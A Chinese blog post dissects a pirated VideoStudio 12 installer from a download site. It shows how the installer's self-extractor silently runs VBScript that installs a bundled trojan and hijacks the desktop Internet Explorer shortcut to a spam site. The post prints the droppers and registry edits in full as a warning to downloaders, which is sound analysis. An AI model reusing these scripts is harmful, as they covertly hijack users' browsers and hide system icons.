需要使用会声会影编辑一点视频,搜到了会声会影 V12.0.0157.0 官方简体中文特别版,“起点下载”提供,在 http:// cncrk.com/downinfo/1648.html,但是有***,看看其手段如何:

1、下载的为rar文件,展开后有一个UVS12.exe文件。

2、双击运行UVS12.exe,这是一个7zip压缩文件,展开压缩文件后自动运行a.vbs,你中招了。

7zip自动运行文件内容:

----------

;下面的注释包含自解压脚本命令

Setup=a.vbs

Silent=1

Overwrite=1

----------

3、UVS12.exe内包含文件有:

360se.exe

a.vbs

b.vbs

o.ico

dx.exe

其中360se.exe是***,a.vbs和b.vbs是***植入程序;

o.ico是图标,dx.exe才是真正的会声会影程序。

4、a.vbs内容:

-----------

DIM objShell

set objShell=Wscript.createObject("wscript.shell")

iReturn=objShell.Run("cmd.exe    /C     start     dx.exe",0,TRUE)

iReturn=objShell.Run("cmd.exe    /C     start     360SE.exe",0,TRUE)

iReturn=objShell.Run("cmd.exe    /C     start     b.vbs",0,TRUE)

-----------

大意是先执行会声会影安装,再安装***360se.exe,再执行b.vbs。

5、b.vbs内容:

-----------

On Error Resume Next

Set Wshshell=CreateObject("Wscript.Shell")

strLinkFile=WshShell.SpecialFolders("desktop")&"\Internet Explorer.*"

Wshshell.Run "cmd /c attrib -s -h -r "&chr(34)&strLinkFile&chr(34),0,1

Wshshell.Run "cmd /c del /f/a/q "&chr(34)&strLinkFile&chr(34),0,1

strLinkFile=WshShell.SpecialFolders("desktop")&"\Internet Explorer.lnk"

Set lnk=WshShell.CreateShortcut(strLinkFile)

lnk.TargetPath =Chr(34)&"C:\Program Files\Internet Explorer\IEXPLORE.EXE"&Chr(34)

lnk.Arguments="http://www.4442.cc"

lnk.Description = "  "

lnk.Save

Wshshell.Run "cmd /c attrib +r "&chr(34)&strLinkFile&chr(34),0,1

Wshshell.Run "cmd /C reg add "&chr(34)&"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel"&chr(34)&" /v {871C5380-42A0-1069-A2EA-08002B30309D} /t REG_DWORD /d 1 /F",0,1

Wshshell.Run "cmd /C reg add "&chr(34)&"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu"&chr(34)&" /v {871C5380-42A0-1069-A2EA-08002B30309D} /t REG_DWORD /d 1 /F",0,1

strDesktop = WSHShell.SpecialFolders("Desktop")

WSHShell.AppActivate strDesktop 

WSHShell.SendKeys "{F5}"

------------

大意是:

为垃圾网站4422建立C:\Program Files\Internet Explorer\IEXPLORE.EXE快捷方式参数,并修改注册表中IE快捷方式参数,也就是显示在桌面上的那个IE图标,最后刷新桌面显示。

6、dx.exe也是个7zip文件,来自于greendown.cn。

估计是“起点下载”从greendown.cn下载后重新打包后发布的。

 

提示一下,下载热门的东西,如各类xxx门的同学应该留意下了,从上面就可以看出垃圾网站起点下载植入***的手段。